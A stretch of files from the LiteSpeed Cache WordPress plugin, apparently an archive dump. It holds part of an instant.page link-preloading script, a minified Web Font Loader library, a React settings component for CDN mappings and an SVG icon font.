    document.addEventListener('mousedown', mousedownListener, eventListenersOptions)
  }
  if (useMousedownShortcut) {
    document.addEventListener('mousedown', mousedownShortcutListener, eventListenersOptions)
  }

  if (preloadWhenVisible) {
    let requestIdleCallbackOrFallback = window.requestIdleCallback
    // Safari has no support as of 16.3: https://webkit.org/b/164193
    if (!requestIdleCallbackOrFallback) {
      requestIdleCallbackOrFallback = (callback) => {
        callback()
        // A smarter fallback like setTimeout is not used because devices that
        // may eventually be eligible to a Safari version supporting prefetch
        // will be very powerful.
        // The weakest devices that could be eligible are the 2017 iPad and
        // the 2016 MacBook.
      }
    }

    requestIdleCallbackOrFallback(function observeIntersection() {
      const intersectionObserver = new IntersectionObserver((entries) => {
        entries.forEach((entry) => {
          if (entry.isIntersecting) {
            const anchorElement = entry.target
            intersectionObserver.unobserve(anchorElement)
            preload(anchorElement.href)
          }
        })
      })

      document.querySelectorAll('a').forEach((anchorElement) => {
        if (isPreloadable(anchorElement)) {
          intersectionObserver.observe(anchorElement)
        }
      })
    }, {
      timeout: 1500,
    })
  }
}

function touchstartListener(event) {
  _lastTouchstartEvent = event

  const anchorElement = event.target.closest('a')

  if (!isPreloadable(anchorElement)) {
    return
  }

  preload(anchorElement.href, 'high')
}

function touchstartEmptyListener(event) {
  _lastTouchstartEvent = event
}

function mouseoverListener(event) {
  if (isEventLikelyTriggeredByTouch(event)) {
    // This avoids uselessly adding a mouseout event listener and setting a timer.
    return
  }

  if (!('closest' in event.target)) {
    return
    // Without this check sometimes an error “event.target.closest is not a function” is thrown, for unknown reasons
    // That error denotes that `event.target` isn’t undefined. My best guess is that it’s the Document.
    //
    // Details could be gleaned from throwing such an error:
    //throw new TypeError(`instant.page non-element event target: timeStamp=${~~event.timeStamp}, type=${event.type}, typeof=${typeof event.target}, nodeType=${event.target.nodeType}, nodeName=${event.target.nodeName}, viewport=${innerWidth}x${innerHeight}, coords=${event.clientX}x${event.clientY}, scroll=${scrollX}x${scrollY}`)
  }
  const anchorElement = event.target.closest('a')

  if (!isPreloadable(anchorElement)) {
    return
  }

  anchorElement.addEventListener('mouseout', mouseoutListener, {passive: true})

  _mouseoverTimer = setTimeout(() => {
    preload(anchorElement.href, 'high')
    _mouseoverTimer = null
  }, _delayOnHover)
}

function mousedownListener(event) {
  if (isEventLikelyTriggeredByTouch(event)) {
    // When preloading only on mousedown, not touch, we need to stop there
    // because touches send compatibility mouse events including mousedown.
    //
    // (When preloading on touchstart, instructions below this block would
    // have no effect.)
    return
  }

  const anchorElement = event.target.closest('a')

  if (!isPreloadable(anchorElement)) {
    return
  }

  preload(anchorElement.href, 'high')
}

function mouseoutListener(event) {
  if (event.relatedTarget && event.target.closest('a') == event.relatedTarget.closest('a')) {
    return
  }

  if (_mouseoverTimer) {
    clearTimeout(_mouseoverTimer)
    _mouseoverTimer = null
  }
}

function mousedownShortcutListener(event) {
  if (isEventLikelyTriggeredByTouch(event)) {
    // Due to a high potential for complications with this mousedown shortcut
    // combined with other parties’ JavaScript code, we don’t want it to run
    // at all on touch devices, even though mousedown and click are triggered
    // at almost the same time on touch.
    return
  }

  const anchorElement = event.target.closest('a')

  if (event.which > 1 || event.metaKey || event.ctrlKey) {
    return
  }

  if (!anchorElement) {
    return
  }

  anchorElement.addEventListener('click', function (event) {
    if (event.detail == 1337) {
      return
    }

    event.preventDefault()
  }, {capture: true, passive: false, once: true})

  const customEvent = new MouseEvent('click', {view: window, bubbles: true, cancelable: false, detail: 1337})
  anchorElement.dispatchEvent(customEvent)
}

function isEventLikelyTriggeredByTouch(event) {
  // Touch devices fire “mouseover” and “mousedown” (and other) events after
  // a touch for compatibility reasons.
  // This function checks if it’s likely that we’re dealing with such an event.

  if (!_lastTouchstartEvent || !event) {
    return false
  }

  if (event.target != _lastTouchstartEvent.target) {
    return false
  }

  const now = event.timeStamp
  // Chromium (tested Chrome 95 and 122 on Android) sometimes uses the same
  // event.timeStamp value in touchstart, mouseover, and mousedown.
  // Testable in test/extras/delay-not-considered-touch.html
  // This is okay for our purpose: two equivalent timestamps will be less
  // than the max duration, which means they’re related events.
  // TODO: fill/find Chromium bug
  const durationBetweenLastTouchstartAndNow = now - _lastTouchstartEvent.timeStamp

  const MAX_DURATION_TO_BE_CONSIDERED_TRIGGERED_BY_TOUCHSTART = 2500
  // How long after a touchstart event can a simulated mouseover/mousedown event fire?
  // /test/extras/delay-not-considered-touch.html tries to answer that question.
  // I saw up to 1450 ms on an overwhelmed Samsung Galaxy S2.
  // On the other hand, how soon can an unrelated mouseover event happen after an unrelated touchstart?
  // Meaning the user taps a link, then grabs their pointing device and clicks another/the same link.
  // That scenario could occur if a user taps a link, thinks it hasn’t worked, and thus fall back to their pointing device.
  // I do that in about 1200 ms on a Chromebook. In which case this function returns a false positive.
  // False positives are okay, as this function is only used to decide to abort handling mouseover/mousedown/mousedownShortcut.
  // False negatives could lead to unforeseen state, particularly in mousedownShortcutListener.

  return durationBetweenLastTouchstartAndNow < MAX_DURATION_TO_BE_CONSIDERED_TRIGGERED_BY_TOUCHSTART

  // TODO: Investigate if pointer events could be used.
  // https://developer.mozilla.org/en-US/docs/Web/API/PointerEvent/pointerType

  // TODO: Investigate if InputDeviceCapabilities could be used to make it
  // less hacky on Chromium browsers.
  // https://developer.mozilla.org/en-US/docs/Web/API/InputDeviceCapabilities_API
  // https://wicg.github.io/input-device-capabilities/
  // Needs careful reading of the spec and tests (notably, what happens with a
  // mouse connected to an Android or iOS smartphone?) to make sure it’s solid.
  // Also need to judge if WebKit could implement it differently, as they
  // don’t mind doing when a spec gives room to interpretation.
  // It seems to work well on Chrome on ChromeOS.

  // TODO: Consider using event screen position as another heuristic.
}

function isPreloadable(anchorElement) {
  if (!anchorElement || !anchorElement.href) {
    return
  }

  if (_useWhitelist && !('instant' in anchorElement.dataset)) {
    return
  }

  if (anchorElement.origin != location.origin) {
    let allowed = _allowExternalLinks || 'instant' in anchorElement.dataset
    if (!allowed || !_chromiumMajorVersionInUserAgent) {
      // Chromium-only: see comment on “restrictive prefetch” and “cross-site speculation rules prefetch”
      return
    }
  }

  if (!['http:', 'https:'].includes(anchorElement.protocol)) {
    return
  }

  if (anchorElement.protocol == 'http:' && location.protocol == 'https:') {
    return
  }

  if (!_allowQueryString && anchorElement.search && !('instant' in anchorElement.dataset)) {
    return
  }

  if (anchorElement.hash && anchorElement.pathname + anchorElement.search == location.pathname + location.search) {
    return
  }

  if ('noInstant' in anchorElement.dataset) {
    return
  }

  return true
}

function preload(url, fetchPriority = 'auto') {
  if (_preloadedList.has(url)) {
    return
  }

  if (_speculationRulesType != 'none') {
    preloadUsingSpeculationRules(url)
  } else {
    preloadUsingLinkElement(url, fetchPriority)
  }

  _preloadedList.add(url)
}

function preloadUsingSpeculationRules(url) {
  const scriptElement = document.createElement('script')
  scriptElement.type = 'speculationrules'

  scriptElement.textContent = JSON.stringify({
    [_speculationRulesType]: [{
      source: 'list',
      urls: [url]
    }]
  })

  // When using speculation rules, cross-site prefetch is supported, but will
  // only work if the user has no cookies for the destination site. The
  // prefetch will not be sent, if the user does have such cookies.

  document.head.appendChild(scriptElement)
}

function preloadUsingLinkElement(url, fetchPriority = 'auto') {
  const linkElement = document.createElement('link')
  linkElement.rel = 'prefetch'
  linkElement.href = url

  linkElement.fetchPriority = fetchPriority
  // By default, a prefetch is loaded with a low priority.
  // When there’s a fair chance that this prefetch is going to be used in the
  // near term (= after a touch/mouse event), giving it a high priority helps
  // make the page load faster in case there are other resources loading.
  // Prioritizing it implicitly means deprioritizing every other resource
  // that’s loading on the page. Due to HTML documents usually being much
  // smaller than other resources (notably images and JavaScript), and
  // prefetches happening once the initial page is sufficiently loaded,
  // this theft of bandwidth should rarely be detrimental.

  linkElement.as = 'document'
  // as=document is Chromium-only and allows cross-origin prefetches to be
  // usable for navigation. They call it “restrictive prefetch” and intend
  // to remove it: https://crbug.com/1352371
  //
  // This document from the Chrome team dated 2022-08-10
  // https://docs.google.com/document/d/1x232KJUIwIf-k08vpNfV85sVCRHkAxldfuIA5KOqi6M
  // claims (I haven’t tested) that data- and battery-saver modes as well as
  // the setting to disable preloading do not disable restrictive prefetch,
  // unlike regular prefetch. That’s good for prefetching on a touch/mouse
  // event, but might be bad when prefetching every link in the viewport.

  document.head.appendChild(linkElement)
}litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/webfontloader.min.js000064400000027502151031165260022166 0ustar00!function(){function e(t,n,i){return t.call.apply(t.bind,arguments)}function o(n,i,t){if(!n)throw Error();if(2<arguments.length){var e=Array.prototype.slice.call(arguments,2);return function(){var t=Array.prototype.slice.call(arguments);return Array.prototype.unshift.apply(t,e),n.apply(i,t)}}return function(){return n.apply(i,arguments)}}function d(t,n,i){return(d=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?e:o).apply(null,arguments)}var r=Date.now||function(){return+new Date};function n(t,n){this.a=t,this.o=n||t,this.c=this.o.document}var f=!!window.FontFace;function c(t,n,i,e){if(n=t.c.createElement(n),i)for(var o in i)i.hasOwnProperty(o)&&("style"==o?n.style.cssText=i[o]:n.setAttribute(o,i[o]));return e&&n.appendChild(t.c.createTextNode(e)),n}function h(t,n,i){(t=t.c.getElementsByTagName(n)[0])||(t=document.documentElement),t.insertBefore(i,t.lastChild)}function i(t){t.parentNode&&t.parentNode.removeChild(t)}function g(t,n,i){n=n||[],i=i||[];for(var e=t.className.split(/\s+/),o=0;o<n.length;o+=1){for(var a=!1,s=0;s<e.length;s+=1)if(n[o]===e[s]){a=!0;break}a||e.push(n[o])}for(n=[],o=0;o<e.length;o+=1){for(a=!1,s=0;s<i.length;s+=1)if(e[o]===i[s]){a=!0;break}a||n.push(e[o])}t.className=n.join(" ").replace(/\s+/g," ").replace(/^\s+|\s+$/,"")}function a(t,n){for(var i=t.className.split(/\s+/),e=0,o=i.length;e<o;e++)if(i[e]==n)return!0;return!1}function l(t,n,i){function e(){s&&o&&(s(a),s=null)}n=c(t,"link",{rel:"stylesheet",href:n,media:"all"});var o=!1,a=null,s=i||null;f?(n.onload=function(){o=!0,e()},n.onerror=function(){o=!0,a=Error("Stylesheet failed to load"),e()}):setTimeout(function(){o=!0,e()},0),h(t,"head",n)}function u(t,n,i,e){var o=t.c.getElementsByTagName("head")[0];if(o){var a=c(t,"script",{src:n}),s=!1;return a.onload=a.onreadystatechange=function(){s||this.readyState&&"loaded"!=this.readyState&&"complete"!=this.readyState||(s=!0,i&&i(null),a.onload=a.onreadystatechange=null,"HEAD"==a.parentNode.tagName&&o.removeChild(a))},o.appendChild(a),setTimeout(function(){s||(s=!0,i&&i(Error("Script load timeout")))},e||5e3),a}return null}function p(){this.a=0,this.c=null}function v(t){return t.a++,function(){t.a--,s(t)}}function w(t,n){t.c=n,s(t)}function s(t){0==t.a&&t.c&&(t.c(),t.c=null)}function m(t){this.a=t||"-"}function y(t,n){this.c=t,this.f=4,this.a="n";var i=(n||"n4").match(/^([nio])([1-9])$/i);i&&(this.a=i[1],this.f=parseInt(i[2],10))}function b(t){var n=[];t=t.split(/,\s*/);for(var i=0;i<t.length;i++){var e=t[i].replace(/['"]/g,"");-1!=e.indexOf(" ")||/^\d/.test(e)?n.push("'"+e+"'"):n.push(e)}return n.join(",")}function x(t){return t.a+t.f}function j(t){var n="normal";return"o"===t.a?n="oblique":"i"===t.a&&(n="italic"),n}function _(t,n){this.c=t,this.f=t.o.document.documentElement,this.h=n,this.a=new m("-"),this.j=!1!==n.events,this.g=!1!==n.classes}function k(t){if(t.g){var n=a(t.f,t.a.c("wf","active")),i=[],e=[t.a.c("wf","loading")];n||i.push(t.a.c("wf","inactive")),g(t.f,i,e)}T(t,"inactive")}function T(t,n,i){t.j&&t.h[n]&&(i?t.h[n](i.c,x(i)):t.h[n]())}function S(){this.c={}}function C(t,n){this.c=t,this.f=n,this.a=c(this.c,"span",{"aria-hidden":"true"},this.f)}function A(t){h(t.c,"body",t.a)}function N(t){return"display:block;position:absolute;top:-9999px;left:-9999px;font-size:300px;width:auto;height:auto;line-height:normal;margin:0;padding:0;font-variant:normal;white-space:nowrap;font-family:"+b(t.c)+";font-style:"+j(t)+";font-weight:"+t.f+"00;"}function E(t,n,i,e,o,a){this.g=t,this.j=n,this.a=e,this.c=i,this.f=o||3e3,this.h=a||void 0}function W(t,n,i,e,o,a,s){this.v=t,this.B=n,this.c=i,this.a=e,this.s=s||"BESbswy",this.f={},this.w=o||3e3,this.u=a||null,this.m=this.j=this.h=this.g=null,this.g=new C(this.c,this.s),this.h=new C(this.c,this.s),this.j=new C(this.c,this.s),this.m=new C(this.c,this.s),t=N(t=new y(this.a.c+",serif",x(this.a))),this.g.a.style.cssText=t,t=N(t=new y(this.a.c+",sans-serif",x(this.a))),this.h.a.style.cssText=t,t=N(t=new y("serif",x(this.a))),this.j.a.style.cssText=t,t=N(t=new y("sans-serif",x(this.a))),this.m.a.style.cssText=t,A(this.g),A(this.h),A(this.j),A(this.m)}m.prototype.c=function(t){for(var n=[],i=0;i<arguments.length;i++)n.push(arguments[i].replace(/[\W_]+/g,"").toLowerCase());return n.join(this.a)},E.prototype.start=function(){var o=this.c.o.document,a=this,s=r(),t=new Promise(function(i,e){!function n(){var t;r()-s>=a.f?e():o.fonts.load((t=a.a,j(t)+" "+t.f+"00 300px "+b(t.c)),a.h).then(function(t){1<=t.length?i():setTimeout(n,25)},function(){e()})}()}),i=null,n=new Promise(function(t,n){i=setTimeout(n,a.f)});Promise.race([n,t]).then(function(){i&&(clearTimeout(i),i=null),a.g(a.a)},function(){a.j(a.a)})};var F={D:"serif",C:"sans-serif"},I=null;function O(){if(null===I){var t=/AppleWebKit\/([0-9]+)(?:\.([0-9]+))/.exec(window.navigator.userAgent);I=!!t&&(parseInt(t[1],10)<536||536===parseInt(t[1],10)&&parseInt(t[2],10)<=11)}return I}function P(t,n,i){for(var e in F)if(F.hasOwnProperty(e)&&n===t.f[F[e]]&&i===t.f[F[e]])return!0;return!1}function B(t){var n,i=t.g.a.offsetWidth,e=t.h.a.offsetWidth;(n=i===t.f.serif&&e===t.f["sans-serif"])||(n=O()&&P(t,i,e)),n?r()-t.A>=t.w?O()&&P(t,i,e)&&(null===t.u||t.u.hasOwnProperty(t.a.c))?L(t,t.v):L(t,t.B):setTimeout(d(function(){B(this)},t),50):L(t,t.v)}function L(t,n){setTimeout(d(function(){i(this.g.a),i(this.h.a),i(this.j.a),i(this.m.a),n(this.a)},t),0)}function D(t,n,i){this.c=t,this.a=n,this.f=0,this.m=this.j=!1,this.s=i}W.prototype.start=function(){this.f.serif=this.j.a.offsetWidth,this.f["sans-serif"]=this.m.a.offsetWidth,this.A=r(),B(this)};var $=null;function q(t){0==--t.f&&t.j&&(t.m?((t=t.a).g&&g(t.f,[t.a.c("wf","active")],[t.a.c("wf","loading"),t.a.c("wf","inactive")]),T(t,"active")):k(t.a))}function t(t){this.j=t,this.a=new S,this.h=0,this.f=this.g=!0}function H(t,n){this.c=t,this.a=n}function M(t,n){this.c=t,this.a=n}function z(t,n){this.c=t||"https://fonts.googleapis.com/css",this.a=[],this.f=[],this.g=n||""}D.prototype.g=function(t){var n=this.a;n.g&&g(n.f,[n.a.c("wf",t.c,x(t).toString(),"active")],[n.a.c("wf",t.c,x(t).toString(),"loading"),n.a.c("wf",t.c,x(t).toString(),"inactive")]),T(n,"fontactive",t),this.m=!0,q(this)},D.prototype.h=function(t){var n=this.a;if(n.g){var i=a(n.f,n.a.c("wf",t.c,x(t).toString(),"active")),e=[],o=[n.a.c("wf",t.c,x(t).toString(),"loading")];i||e.push(n.a.c("wf",t.c,x(t).toString(),"inactive")),g(n.f,e,o)}T(n,"fontinactive",t),q(this)},t.prototype.load=function(t){this.c=new n(this.j,t.context||this.j),this.g=!1!==t.events,this.f=!1!==t.classes,function(o,t,n){var i=[],e=n.timeout;a=t,a.g&&g(a.f,[a.a.c("wf","loading")]),T(a,"loading");var a;var i=function(t,n,i){var e,o=[];for(e in n)if(n.hasOwnProperty(e)){var a=t.c[e];a&&o.push(a(n[e],i))}return o}(o.a,n,o.c),s=new D(o.c,t,e);for(o.h=i.length,t=0,n=i.length;t<n;t++)i[t].load(function(t,n,i){var e,c,h,l,u,p;c=s,h=t,l=n,u=i,p=0==--(e=o).h,(e.f||e.g)&&setTimeout(function(){var t=u||null,n=l||{};if(0===h.length&&p)k(c.a);else{c.f+=h.length,p&&(c.j=p);var i,e=[];for(i=0;i<h.length;i++){var o=h[i],a=n[o.c],s=c.a,r=o;if(s.g&&g(s.f,[s.a.c("wf",r.c,x(r).toString(),"loading")]),T(s,"fontloading",r),(s=null)===$)if(window.FontFace){var r=/Gecko.*Firefox\/(\d+)/.exec(window.navigator.userAgent),f=/OS X.*Version\/10\..*Safari/.exec(window.navigator.userAgent)&&/Apple/.exec(window.navigator.vendor);$=r?42<parseInt(r[1],10):!f}else $=!1;s=$?new E(d(c.g,c),d(c.h,c),c.c,o,c.s,a):new W(d(c.g,c),d(c.h,c),c.c,o,c.s,t,a),e.push(s)}for(i=0;i<e.length;i++)e[i].start()}},0)})}(this,new _(this.c,t),t)},H.prototype.load=function(s){var n=this,r=n.a.projectId,t=n.a.version;if(r){var f=n.c.o;u(this.c,(n.a.api||"https://fast.fonts.net/jsapi")+"/"+r+".js"+(t?"?v="+t:""),function(t){t?s([]):(f["__MonotypeConfiguration__"+r]=function(){return n.a},function t(){if(f["__mti_fntLst"+r]){var n,i=f["__mti_fntLst"+r](),e=[];if(i)for(var o=0;o<i.length;o++){var a=i[o].fontfamily;null!=i[o].fontStyle&&null!=i[o].fontWeight?(n=i[o].fontStyle+i[o].fontWeight,e.push(new y(a,n))):e.push(new y(a))}s(e)}else setTimeout(function(){t()},50)}())}).id="__MonotypeAPIScript__"+r}else s([])},M.prototype.load=function(t){var n,i,e=this.a.urls||[],o=this.a.families||[],a=this.a.testStrings||{},s=new p;for(n=0,i=e.length;n<i;n++)l(this.c,e[n],v(s));var r=[];for(n=0,i=o.length;n<i;n++)if((e=o[n].split(":"))[1])for(var f=e[1].split(","),c=0;c<f.length;c+=1)r.push(new y(e[0],f[c]));else r.push(new y(e[0]));w(s,function(){t(r,a)})};function G(t){this.f=t,this.a=[],this.c={}}var K={latin:"BESbswy","latin-ext":"çöüğş",cyrillic:"йяЖ",greek:"αβΣ",khmer:"កខគ",Hanuman:"កខគ"},R={thin:"1",extralight:"2","extra-light":"2",ultralight:"2","ultra-light":"2",light:"3",regular:"4",book:"4",medium:"5","semi-bold":"6",semibold:"6","demi-bold":"6",demibold:"6",bold:"7","extra-bold":"8",extrabold:"8","ultra-bold":"8",ultrabold:"8",black:"9",heavy:"9",l:"3",r:"4",b:"7"},U={i:"i",italic:"i",n:"n",normal:"n"},V=/^(thin|(?:(?:extra|ultra)-?)?light|regular|book|medium|(?:(?:semi|demi|extra|ultra)-?)?bold|black|heavy|l|r|b|[1-9]00)?(n|i|normal|italic)?$/;function X(t,n){this.c=t,this.a=n}var J={Arimo:!0,Cousine:!0,Tinos:!0};function Q(t,n){this.c=t,this.a=n}function Y(t,n){this.c=t,this.f=n,this.a=[]}X.prototype.load=function(t){var n=new p,i=this.c,e=new z(this.a.api,this.a.text),o=this.a.families;!function(t,n){for(var i=n.length,e=0;e<i;e++){var o=n[e].split(":");3==o.length&&t.f.push(o.pop());var a="";2==o.length&&""!=o[1]&&(a=":"),t.a.push(o.join(a))}}(e,o);var a=new G(o);!function(t){for(var n=t.f.length,i=0;i<n;i++){var e=t.f[i].split(":"),o=e[0].replace(/\+/g," "),a=["n4"];if(2<=e.length){var s;if(s=[],r=e[1])for(var r,f=(r=r.split(",")).length,c=0;c<f;c++){var h;if((h=r[c]).match(/^[\w-]+$/))if(null==(u=V.exec(h.toLowerCase())))h="";else{if(h=null==(h=u[2])||""==h?"n":U[h],null==(u=u[1])||""==u)u="4";else var l=R[u],u=l||(isNaN(u)?"4":u.substr(0,1));h=[h,u].join("")}else h="";h&&s.push(h)}0<s.length&&(a=s),3==e.length&&(s=[],0<(e=(e=e[2])?e.split(","):s).length&&(e=K[e[0]])&&(t.c[o]=e))}for(t.c[o]||(e=K[o])&&(t.c[o]=e),e=0;e<a.length;e+=1)t.a.push(new y(o,a[e]))}}(a),l(i,function(t){if(0==t.a.length)throw Error("No fonts to load!");if(-1!=t.c.indexOf("kit="))return t.c;for(var n=t.a.length,i=[],e=0;e<n;e++)i.push(t.a[e].replace(/ /g,"+"));return n=t.c+"?family="+i.join("%7C"),0<t.f.length&&(n+="&subset="+t.f.join(",")),0<t.g.length&&(n+="&text="+encodeURIComponent(t.g)),n}(e),v(n)),w(n,function(){t(a.a,a.c,J)})},Q.prototype.load=function(s){var t=this.a.id,r=this.c.o;t?u(this.c,(this.a.api||"https://use.typekit.net")+"/"+t+".js",function(t){if(t)s([]);else if(r.Typekit&&r.Typekit.config&&r.Typekit.config.fn){t=r.Typekit.config.fn;for(var n=[],i=0;i<t.length;i+=2)for(var e=t[i],o=t[i+1],a=0;a<o.length;a++)n.push(new y(e,o[a]));try{r.Typekit.load({events:!1,classes:!1,async:!0})}catch(t){}s(n)}},2e3):s([])},Y.prototype.load=function(c){var t,n=this.f.id,i=this.c.o,h=this;n?(i.__webfontfontdeckmodule__||(i.__webfontfontdeckmodule__={}),i.__webfontfontdeckmodule__[n]=function(t,n){for(var i=0,e=n.fonts.length;i<e;++i){var o=n.fonts[i];h.a.push(new y(o.name,(a="font-weight:"+o.weight+";font-style:"+o.style,f=r=s=void 0,s=4,r="n",f=null,a&&((f=a.match(/(normal|oblique|italic)/i))&&f[1]&&(r=f[1].substr(0,1).toLowerCase()),(f=a.match(/([1-9]00|normal|bold)/i))&&f[1]&&(/bold/i.test(f[1])?s=7:/[1-9]00/.test(f[1])&&(s=parseInt(f[1].substr(0,1),10)))),r+s)))}var a,s,r,f;c(h.a)},u(this.c,(this.f.api||"https://f.fontdeck.com/s/css/js/")+((t=this.c).o.location.hostname||t.a.location.hostname)+"/"+n+".js",function(t){t&&c([])})):c([])};var Z=new t(window);Z.a.c.custom=function(t,n){return new M(n,t)},Z.a.c.fontdeck=function(t,n){return new Y(n,t)},Z.a.c.monotype=function(t,n){return new H(n,t)},Z.a.c.typekit=function(t,n){return new Q(n,t)},Z.a.c.google=function(t,n){return new X(n,t)};var tt={load:d(Z.load,Z)};"function"==typeof define&&define.amd?define(function(){return tt}):"undefined"!=typeof module&&module.exports?module.exports=tt:(window.WebFont=tt,window.WebFontConfig&&Z.load(window.WebFontConfig))}();litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/component.cdn.js000064400000014530151031165260021313 0ustar00/**
 * CDN module
 * @author Hai Zheng
 */
class CDNMapping extends React.Component {
	constructor(props) {
		super(props);
		this.state = {
			list: props.list,
		};

		this.onChange = this.onChange.bind(this);
		this.delRow = this.delRow.bind(this);
		this.addNew = this.addNew.bind(this);
	}

	onChange(e, index) {
		const target = e.currentTarget;
		const value = target.dataset.hasOwnProperty('value') ? Boolean(target.dataset.value * 1) : target.value;
		const list = this.state.list;
		list[index][target.dataset.type] = value;

		this.setState({
			list: list,
		});
	}

	delRow(index) {
		const data = this.state.list;
		data.splice(index, 1);
		this.setState({ list: data });
	}

	addNew() {
		const list = this.state.list;
		list.push({ url: '' });
		this.setState({ list: list });
	}

	render() {
		return (
			<React.Fragment>
				{this.state.list.map((item, i) => (
					<CDNMappingBlock item={item} key={i} index={i} onChange={this.onChange} delRow={this.delRow} />
				))}

				<p>
					<button type="button" className="button button-link litespeed-form-action litespeed-link-with-icon" onClick={this.addNew}>
						<span className="dashicons dashicons-plus-alt"></span>
						{litespeed_data['lang']['add_cdn_mapping_row']}
					</button>
				</p>
			</React.Fragment>
		);
	}
}

// { url: '', inc_img: true, inc_css: false, inc_js: false, filetype: [ '.aac', '.eot', ... ] }
class CDNMappingBlock extends React.Component {
	constructor(props) {
		super(props);

		this.onChange = this.onChange.bind(this);
		this.delRow = this.delRow.bind(this);
	}

	onChange(e) {
		this.props.onChange(e, this.props.index);
	}

	delRow() {
		this.props.delRow(this.props.index);
	}

	render() {
		const name_prefix = litespeed_data['ids']['cdn_mapping'];

		const item = this.props.item;

		const filetype = item.filetype ? (Array.isArray(item.filetype) ? item.filetype.join('\n') : item.filetype) : '';
		return (
			<div className="litespeed-block">
				<div className="litespeed-cdn-mapping-col1">
					<label className="litespeed-form-label">{litespeed_data['lang']['cdn_mapping_url']}</label>
					<input
						type="text"
						name={name_prefix + '[url][]'}
						className="regular-text litespeed-input-long"
						value={item.url ? item.url : ''}
						data-type="url"
						onChange={this.onChange}
					/>

					<div className="litespeed-desc">
						<span dangerouslySetInnerHTML={{ __html: litespeed_data['lang']['cdn_mapping_url_desc'] }} />
					</div>
				</div>

				<div className="litespeed-col-auto litespeed-cdn-mapping-col2">
					<div className="litespeed-row litespeed-toggle-wrapper">
						<div className="litespeed-cdn-mapping-inc litespeed-form-label litespeed-form-label--toggle">{litespeed_data['lang']['cdn_mapping_inc_img']}</div>
						<div
							className={`litespeed-toggle litespeed-toggle-btn litespeed-toggle-btn-${item.inc_img ? 'primary' : 'default litespeed-toggleoff'}`}
							data-type="inc_img"
							data-value={item.inc_img ? 0 : 1}
							onClick={this.onChange}
						>
							<input name={name_prefix + '[inc_img][]'} type="hidden" value={item.inc_img ? 1 : 0} />
							<div className="litespeed-toggle-group">
								<label className="litespeed-toggle-btn litespeed-toggle-btn-primary litespeed-toggle-on">{litespeed_data['lang']['on']}</label>
								<label className="litespeed-toggle-btn litespeed-toggle-btn-default litespeed-toggle-active litespeed-toggle-off">
									{litespeed_data['lang']['off']}
								</label>
								<span className="litespeed-toggle-handle litespeed-toggle-btn litespeed-toggle-btn-default"></span>
							</div>
						</div>
					</div>
					<div className="litespeed-row litespeed-toggle-wrapper">
						<div className="litespeed-cdn-mapping-inc litespeed-form-label litespeed-form-label--toggle">{litespeed_data['lang']['cdn_mapping_inc_css']}</div>
						<div
							className={`litespeed-toggle litespeed-toggle-btn litespeed-toggle-btn-${item.inc_css ? 'primary' : 'default litespeed-toggleoff'}`}
							data-type="inc_css"
							data-value={item.inc_css ? 0 : 1}
							onClick={this.onChange}
						>
							<input name={name_prefix + '[inc_css][]'} type="hidden" value={item.inc_css ? 1 : 0} />
							<div className="litespeed-toggle-group">
								<label className="litespeed-toggle-btn litespeed-toggle-btn-primary litespeed-toggle-on">{litespeed_data['lang']['on']}</label>
								<label className="litespeed-toggle-btn litespeed-toggle-btn-default litespeed-toggle-active litespeed-toggle-off">
									{litespeed_data['lang']['off']}
								</label>
								<span className="litespeed-toggle-handle litespeed-toggle-btn litespeed-toggle-btn-default"></span>
							</div>
						</div>
					</div>
					<div className="litespeed-row litespeed-toggle-wrapper">
						<div className="litespeed-cdn-mapping-inc litespeed-form-label litespeed-form-label--toggle">{litespeed_data['lang']['cdn_mapping_inc_js']}</div>
						<div
							className={`litespeed-toggle litespeed-toggle-btn litespeed-toggle-btn-${item.inc_js ? 'primary' : 'default litespeed-toggleoff'}`}
							data-type="inc_js"
							data-value={item.inc_js ? 0 : 1}
							onClick={this.onChange}
						>
							<input name={name_prefix + '[inc_js][]'} type="hidden" value={item.inc_js ? 1 : 0} />
							<div className="litespeed-toggle-group">
								<label className="litespeed-toggle-btn litespeed-toggle-btn-primary litespeed-toggle-on">{litespeed_data['lang']['on']}</label>
								<label className="litespeed-toggle-btn litespeed-toggle-btn-default litespeed-toggle-active litespeed-toggle-off">
									{litespeed_data['lang']['off']}
								</label>
								<span className="litespeed-toggle-handle litespeed-toggle-btn litespeed-toggle-btn-default"></span>
							</div>
						</div>
					</div>
				</div>

				<div className="litespeed-col-auto">
					<label className="litespeed-form-label">{litespeed_data['lang']['cdn_mapping_filetype']}</label>
					<textarea name={name_prefix + '[filetype][]'} rows={filetype.split('\n').length + 2} cols="18" value={filetype} data-type="filetype" onChange={this.onChange} />
				</div>

				<div className="litespeed-col-auto">
					<button type="button" className="button button-link litespeed-collection-button litespeed-danger" onClick={this.delRow}>
						<span className="dashicons dashicons-dismiss"></span>
						<span className="screen-reader-text">{litespeed_data['lang']['cdn_mapping_remove']}</span>
					</button>
				</div>
			</div>
		);
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/iconlscwp.svg000064400000002065151031165260021072 0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>LiteSpeed Technologies</metadata>
<defs>
<font id="iconlscwp" horiz-adv-x="1000" >
<font-face font-family="iconlscwp" font-weight="400" font-stretch="normal" units-per-em="1000" ascent="848" descent="-152" />
<missing-glyph horiz-adv-x="1000" />
<glyph glyph-name="lscwp_font-icon" unicode="&#xe800;" d="M590 467l-69-88 36-52c1-2 2-4 3-6 3-11 0-20-7-26l-118-91c-3-2-7-4-13-4-6 0-12 3-15 9-2 5-3 12 3 20l69 88-37 53c-6 10-4 24 5 31l118 91c3 2 7 4 13 4 6 0 12-3 15-9 2-5 3-12-3-20z m407-119c0-6-2-11-6-15l-476-476c-4-4-9-6-15-6-6 0-11 2-15 6l-476 476c-4 4-6 9-6 15s2 11 6 15l476 476c4 4 9 6 15 6 6 0 11-2 15-6l476-476c4-4 6-9 6-15z m-478 427v-138l270-270c1 0 2 0 2 0h137l-409 408z m-19-176l-251-251 251-251 251 251-251 251z m-427-232h138l270 270v139l-408-409z m408-447v139l-270 270h-138l408-409z m447 409h-137c0 0-1 0-2 0l-270-269v-139l409 408z" horiz-adv-x="1000" />
</font>
</defs>
</svg>
